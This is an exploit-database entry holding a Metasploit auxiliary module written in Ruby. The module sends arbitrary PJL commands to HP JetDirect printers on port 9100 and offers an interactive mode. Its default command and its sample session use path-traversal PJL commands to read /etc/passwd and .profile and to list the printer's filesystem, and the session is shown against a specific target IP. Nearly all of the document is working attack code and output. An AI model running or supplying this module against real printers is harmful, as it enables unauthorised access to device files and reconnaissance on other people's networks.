HP JetDirect PJL Query Execution



# Exploit Title: HP JetDirect PJL Query Execution

# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# Sample Output:

#
# msf auxiliary(hp_printer_pjl_cmd) > show options

# Module options (auxiliary/admin/hp_printer_pjl_cmd):

#    Name         Current Setting                                           Required  Description
#    ----         ---------------                                           --------  -----------
#    CMD          FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999  yes       PJL Command to run
#    INTERACTIVE  true                                                      no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21                                             yes       The target address
#    RPORT        9100                                                      yes       The target port

# msf auxiliary(hp_printer_pjl_cmd) > run

# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:

# root::0:0::/:/bin/dlsh


# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:

# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR


# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) > 



require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Tcp

    def initialize(info={})
        super(update_info(info,
            'Name'        => 'HP JetDirect Printer PJL Query Execution',
            'Version'     => '$Revision: 1 $',
            'Description'    => %q{
                This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP. 
            },
            'Author'      => [
                    'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' 
                    ],
            'License'     => MSF_LICENSE,
            'References'     =>
            [
                [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
                [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
                [ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
                [ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]                
                
            ],
            'DisclosureDate' => ' 2011'))
        
        register_options(
        [
            OptString.new('CMD',
                    [
                        true,
                        "PJL Command to run",
                        'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
                    ]
                ),
            OptBool.new('INTERACTIVE',
                                [
                                    false,
                                    "Enter interactive mode [msfconsole Only]",
                                    false
                                ]
                            ),
                
            Opt::RPORT(9100)
        ],self.class)
        

    end

    def run
        mode = datastore['INTERACTIVE']

        if mode    == true
            set_interactive(datastore['CMD'])
        else
            set_onetime(datastore['CMD'])
        end
    end
    
    def set_interactive(scmd)
        cmd = scmd
    
        print_status("Entering interactive mode ...")
        stop = false
        
        set_onetime(cmd)
        
        until stop == true        
            print_status("Enter PJL Command:")
            print_status("-> 'quit' to exit")
            print("$ > ")
            tmp_cmd = ''
            tmp_cmd = gets.chomp.to_s    
            if tmp_cmd =~ /quit/
                stop= true
                print_status("Exited ... Have fun with your Printer!")
            else
                set_onetime(tmp_cmd)    
            end
        end
    end 
    
    def set_onetime(scmd)

        connect
        
        cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
        r_cmd = cmd.sub("[REPLACE]",scmd)
        
         print_status("Please wait while executing -")
        print_status("#{scmd}")
        
        recv = sock.put(r_cmd)
        res = sock.get(-1,1)
        
        if (!res)
            print_error("ERROR in receiving data!\r\n")
        else
            if res.to_s =~ /ERROR/ 
                print_error("BAD COMMAND OR ERROR\r\n")
                disconnect
                return
            end
            resx = res.to_s[res.index("\r\n")+1,res.length]
            print_good("Server returned the following response:\r\n#{resx}")
        end
        
        disconnect    
    
    end


end